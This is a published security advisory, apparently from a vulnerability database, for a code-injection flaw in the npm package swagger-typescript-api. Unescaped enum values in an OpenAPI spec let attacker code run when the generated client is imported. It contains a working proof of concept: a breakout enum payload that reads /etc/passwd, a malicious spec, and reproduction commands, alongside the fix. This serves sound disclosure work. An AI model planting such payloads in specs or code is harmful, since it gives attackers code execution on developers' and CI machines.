GHSA-5F94-X226-CCPM

Vulnerability from github – Published: 2026-07-29 14:33 – Updated: 2026-07-29 14:33
VLAI
Summary
swagger-typescript-api vulnerable to code injection via unescaped enum string values
Details

Summary

swagger-typescript-api interpolates components.schemas.*.enum[i] string values into the body of generated TypeScript enum declarations without escaping. A malicious enum value can close the enclosing string literal, terminate the enum body, and inject a bare-block IIFE that executes at module load the first time the generated client is imported. The trigger requires no instantiation and no method call — only an import of the generated module. The attacker controls the OpenAPI spec (remote --url, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and imports the result (the developer, their CI runner, or any downstream consumer of the generated package). Impact is arbitrary code execution with the importing process's privileges — read any file the importer can read, write any file, exfiltrate secrets, etc.

Details

The root cause is Ts.StringValue in src/configuration.ts:250:

StringValue: (content: unknown) => `"${content}"`,

It wraps a value in double quotes with zero escaping — no handling of ", \, newlines, or anything else. The codebase's only escape function (escapeJSDocContent in src/schema-parser/schema-formatters.ts:127) only replaces */ and is never applied to this path.

Enum string values reach Ts.StringValue at src/schema-parser/base-schema-parsers/enum.ts:100 and :116:

return this.config.Ts.StringValue(value);
// ...
value: this.config.Ts.StringValue(enumName),

The result is interpolated raw into the enum body in templates/base/enum-data-contract.ejs (default enumStyle: "enum" branch, lines 24-31):

export enum <%~ name %> {
  <%~ _.map($content, ({ key, value, description }) => {
    ...
    return [
      formattedDescription && `/** ${formattedDescription} */`,
      `${key} = ${value}`
    ].filter(Boolean).join("\n");
  }).join(",\n") %>
}

Where ${value} is the result of Ts.StringValue — raw "${content}". An attacker-controlled enum value containing a " closes the string and exposes the surrounding code position to injection.

A ;} sequence terminates the enum body mid-stream. A { opens a bare block at module top level. An async IIFE inside that block runs at module load. A trailing // consumes the closing " that Ts.StringValue still appends, and the template's own closing } of the enum becomes the closing } of the bare block. Resulting TypeScript parses cleanly, bundles cleanly through esbuild, and the IIFE fires on bare await import('./generated.js').

The same Ts.StringValue function is also called from src/schema-parser/schema-utils.ts:215,406, src/schema-parser/base-schema-parsers/object.ts:47, and src/schema-parser/base-schema-parsers/discriminator.ts:88,121,131,195. Those other call sites currently land in type-level positions (interface/type bodies) where the breakout cannot reach runtime — they are safe by accident of context, not by escaping. A fix that hardens Ts.StringValue itself protects those sites too as defense in depth.

PoC

Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary) is added in the comments. Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Malicious enum value (literal string, JSON-encoded in the spec below):

blue";}<NEWLINE>{(async()=>{ try { const fs=await import('node:fs'); const d=fs.readFileSync('/etc/passwd','utf8'); fs.writeFileSync('/tmp/sta_canary',d); } catch(e){} })();//

Minimal payload spec:

{
  "openapi": "3.0.0",
  "info": { "title": "EnumPayloadAPI", "version": "1.0.0" },
  "components": {
    "schemas": {
      "Color": {
        "type": "string",
        "enum": [
          "red",
          "blue\";}\n{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
        ]
      }
    }
  },
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": {
          "200": {
            "description": "OK",
            "content": { "application/json": { "schema": { "$ref": "#/components/schemas/Color" } } }
          }
        }
      }
    }
  }
}

Steps:

npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canary

Generated out/Api.ts (enum block — payload):

    export enum Color {
  Red = "red",
  BlueAsyncTryConstFsAwaitImportNodeFsFs...CatchE = "blue";}
{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
 }

The ;} closes the enum body. The {...} after it is a bare block at module top level. The async IIFE runs at module load and fires the canary. esbuild parses this as valid TypeScript and bundles cleanly.

Result: after bare import of the bundle, /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec ("enum": ["red", "blue"]) generates a clean enum and writes no canary.

Impact

Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).

Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely. Concrete scenarios:

  • sta generate --url https://attacker.example/openapi.json — a public, third-party, or attacker-hosted spec.
  • A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.
  • A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
  • Any project pinned to a spec file that a contributor can modify via PR — the spec change is itself the exploit.

Lifecycle: the bare-block IIFE fires at module load. A consumer does not need to instantiate HttpClient, does not need to call any API method, does not need to use the enum value — they only need to import the generated module (or anything that transitively imports it, e.g. the data-contracts.ts file in modular mode). Importing a TypeScript types file is the absolute minimum interaction a consumer can have with a generated client, which makes this the highest-impact sink in the package.

Privilege: the IIFE runs with the full privileges of the importing process — read/write any file the process can access, network egress, environment-variable access, child-process spawn, etc.

Suggested fix: harden Ts.StringValue in src/configuration.ts:250 to produce a properly-escaped JavaScript string literal — escape at minimum ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators /. JSON.stringify on the content is a one-line acceptable implementation. This single change also protects every other call site of Ts.StringValue (currently safe only by accident of landing in type-level positions).

Submitted by: Hamza Haroon (thegr1ffyn)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "swagger-typescript-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54664"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-74",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T14:33:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`swagger-typescript-api` interpolates `components.schemas.*.enum[i]` string values into the body of generated TypeScript `enum` declarations without escaping. A malicious enum value can close the enclosing string literal, terminate the enum body, and inject a bare-block IIFE that executes at **module load** the first time the generated client is imported. The trigger requires no instantiation and no method call \u2014 only an `import` of the generated module. The attacker controls the OpenAPI spec (remote `--url`, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and imports the result (the developer, their CI runner, or any downstream consumer of the generated package). Impact is arbitrary code execution with the importing process\u0027s privileges \u2014 read any file the importer can read, write any file, exfiltrate secrets, etc.\n\n### Details\n\nThe root cause is `Ts.StringValue` in `src/configuration.ts:250`:\n\n```ts\nStringValue: (content: unknown) =\u003e `\"${content}\"`,\n```\n\nIt wraps a value in double quotes with **zero escaping** \u2014 no handling of `\"`, `\\`, newlines, or anything else. The codebase\u0027s only escape function (`escapeJSDocContent` in `src/schema-parser/schema-formatters.ts:127`) only replaces `*/` and is never applied to this path.\n\nEnum string values reach `Ts.StringValue` at `src/schema-parser/base-schema-parsers/enum.ts:100` and `:116`:\n\n```ts\nreturn this.config.Ts.StringValue(value);\n// ...\nvalue: this.config.Ts.StringValue(enumName),\n```\n\nThe result is interpolated raw into the enum body in `templates/base/enum-data-contract.ejs` (default `enumStyle: \"enum\"` branch, lines 24-31):\n\n```ejs\nexport enum \u003c%~ name %\u003e {\n  \u003c%~ _.map($content, ({ key, value, description }) =\u003e {\n    ...\n    return [\n      formattedDescription \u0026\u0026 `/** ${formattedDescription} */`,\n      `${key} = ${value}`\n    ].filter(Boolean).join(\"\\n\");\n  }).join(\",\\n\") %\u003e\n}\n```\n\nWhere `${value}` is the result of `Ts.StringValue` \u2014 raw `\"${content}\"`. An attacker-controlled enum value containing a `\"` closes the string and exposes the surrounding code position to injection.\n\nA `;}` sequence terminates the enum body mid-stream. A `{` opens a bare block at module top level. An async IIFE inside that block runs at module load. A trailing `//` consumes the closing `\"` that `Ts.StringValue` still appends, and the template\u0027s own closing `}` of the enum becomes the closing `}` of the bare block. Resulting TypeScript parses cleanly, bundles cleanly through esbuild, and the IIFE fires on bare `await import(\u0027./generated.js\u0027)`.\n\nThe same `Ts.StringValue` function is also called from `src/schema-parser/schema-utils.ts:215,406`, `src/schema-parser/base-schema-parsers/object.ts:47`, and `src/schema-parser/base-schema-parsers/discriminator.ts:88,121,131,195`. Those other call sites currently land in type-level positions (interface/type bodies) where the breakout cannot reach runtime \u2014 they are safe **by accident of context**, not by escaping. A fix that hardens `Ts.StringValue` itself protects those sites too as defense in depth.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package \u2192 generate from control + payload \u2192 bundle with esbuild \u2192 bare-import \u2192 check canary) is added in the comments. Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious enum value** (literal string, JSON-encoded in the spec below):\n\n```\nblue\";}\u003cNEWLINE\u003e{(async()=\u003e{ try { const fs=await import(\u0027node:fs\u0027); const d=fs.readFileSync(\u0027/etc/passwd\u0027,\u0027utf8\u0027); fs.writeFileSync(\u0027/tmp/sta_canary\u0027,d); } catch(e){} })();//\n```\n\n**Minimal payload spec:**\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"EnumPayloadAPI\", \"version\": \"1.0.0\" },\n  \"components\": {\n    \"schemas\": {\n      \"Color\": {\n        \"type\": \"string\",\n        \"enum\": [\n          \"red\",\n          \"blue\\\";}\\n{(async()=\u003e{try{const fs=await import(\u0027node:fs\u0027);const d=fs.readFileSync(\u0027/etc/passwd\u0027,\u0027utf8\u0027);fs.writeFileSync(\u0027/tmp/sta_canary\u0027,d);}catch(e){}})();//\"\n        ]\n      }\n    }\n  },\n  \"paths\": {\n    \"/ping\": {\n      \"get\": {\n        \"operationId\": \"ping\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"OK\",\n            \"content\": { \"application/json\": { \"schema\": { \"$ref\": \"#/components/schemas/Color\" } } }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n  name: \u0027Api.ts\u0027, output: process.cwd() + \u0027/out\u0027,\n  input: process.cwd() + \u0027/payload-spec.json\u0027, httpClientType: \u0027fetch\u0027\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n  --tsconfig-raw=\u0027{}\u0027 --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"await import(\u0027./out/Api.bundle.mjs\u0027); await new Promise(r =\u003e setTimeout(r, 300));\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (enum block \u2014 payload):**\n\n```ts\n    export enum Color {\n  Red = \"red\",\n  BlueAsyncTryConstFsAwaitImportNodeFsFs...CatchE = \"blue\";}\n{(async()=\u003e{try{const fs=await import(\u0027node:fs\u0027);const d=fs.readFileSync(\u0027/etc/passwd\u0027,\u0027utf8\u0027);fs.writeFileSync(\u0027/tmp/sta_canary\u0027,d);}catch(e){}})();//\"\n }\n```\n\nThe `;}` closes the enum body. The `{...}` after it is a bare block at module top level. The async IIFE runs at module load and fires the canary. esbuild parses this as valid TypeScript and bundles cleanly.\n\n**Result:** after bare `import` of the bundle, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`\"enum\": [\"red\", \"blue\"]`) generates a clean enum and writes no canary.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely. Concrete scenarios:\n\n- `sta generate --url https://attacker.example/openapi.json` \u2014 a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project pinned to a spec file that a contributor can modify via PR \u2014 the spec change is itself the exploit.\n\n**Lifecycle:** the bare-block IIFE fires at **module load**. A consumer does not need to instantiate `HttpClient`, does not need to call any API method, does not need to use the enum value \u2014 they only need to `import` the generated module (or anything that transitively imports it, e.g. the `data-contracts.ts` file in modular mode). Importing a TypeScript types file is the absolute minimum interaction a consumer can have with a generated client, which makes this the highest-impact sink in the package.\n\n**Privilege:** the IIFE runs with the full privileges of the importing process \u2014 read/write any file the process can access, network egress, environment-variable access, child-process spawn, etc.\n\n**Suggested fix:** harden `Ts.StringValue` in `src/configuration.ts:250` to produce a properly-escaped JavaScript string literal \u2014 escape at minimum `\"`, `\\`, `\\n`, `\\r`, `\\t`, `\\b`, `\\f`, `\\v`, `\\0`, and the line/paragraph separators `` / ``. `JSON.stringify` on the content is a one-line acceptable implementation. This single change also protects every other call site of `Ts.StringValue` (currently safe only by accident of landing in type-level positions).\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-5f94-x226-ccpm",
  "modified": "2026-07-29T14:33:01Z",
  "published": "2026-07-29T14:33:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-5f94-x226-ccpm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/acacode/swagger-typescript-api"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "swagger-typescript-api vulnerable to code injection via unescaped enum string values"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…